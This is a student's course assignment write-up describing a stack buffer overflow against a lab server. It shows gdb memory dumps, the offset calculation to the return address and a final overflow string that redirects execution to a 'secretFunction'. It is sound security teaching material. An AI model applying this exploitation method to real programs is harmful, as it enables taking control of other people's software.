ECE 404 Assignment 10

Elias Talcott

April 9, 2020

Contents

1 Buffer Overflow Attack

In order to craft a string to execute a buffer overflow attack on the server, I used gdb. I set a breakpoint at the top of the clientComm function, ran the server, and then executed the following commands.

- (gdb) print &str
- $1 = (char (*)[5]) 0x7fffffffde70
- (gdb) print /x *((unsigned *) $rbp + 2)
- $2 = 0x400cd9
- (gdb) x/96b $rsp
- 0x7fffffffde50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
  0x7fffffffde58: 0xb8 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
  0x7fffffffde60: 0xe0 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
  0x7fffffffde68: 0x00 0x00 0x00 0x00 0x08 0x00 0x00 0x00
  0x7fffffffde70: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
  0x7fffffffde78: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
  0x7fffffffde80: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
  0x7fffffffde88: 0x50 0xe1 0xff 0xf7 0xff 0x7f 0x00 0x00
  0x7fffffffde90: 0xf0 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
  0x7fffffffde98: 0xd9 0x0c 0x40 0x00 0x00 0x00 0x00 0x00
  0x7fffffffdea0: 0xd8 0xdf 0xff 0xff 0xff 0x7f 0x00 0x00
  0x7fffffffdea8: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00

Looking at the last output, I found the value 0x400cd9 at the start of the line 0x7fffffffde98. Since the beginning of the buffer is at 0x7fffffffde70, there is a difference of 0x28 to fill between the beginning of the buffer and the start of the return address. This means that 40 characters need to be placed in the buffer before the return address can be altered.

- (gdb) disas secretFunction
- Dump of assembler code for function secretFunction:
  0x0000000000400e18 < +0 >: push %rbp
  0x0000000000400e19 < +1 >: mov %rsp,%rbp
  0x0000000000400e1c < +4 >: mov $0x400fa8,%edi
  0x0000000000400e21 < +9 >: callq 0x4008f0 ¡puts@plt¿
  0x0000000000400e26 < +14 >: mov $0x1,%edi
  0x0000000000400e2b < +19 >: callq 0x400a00 ¡exit@plt¿
  End of assembler dump.

This result showed me that the altered return address should be 0x400e18, which would have to be inputted backwards. All of this helped me create a string that would call the secretFunction:

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x18\x0e\x40\x00
```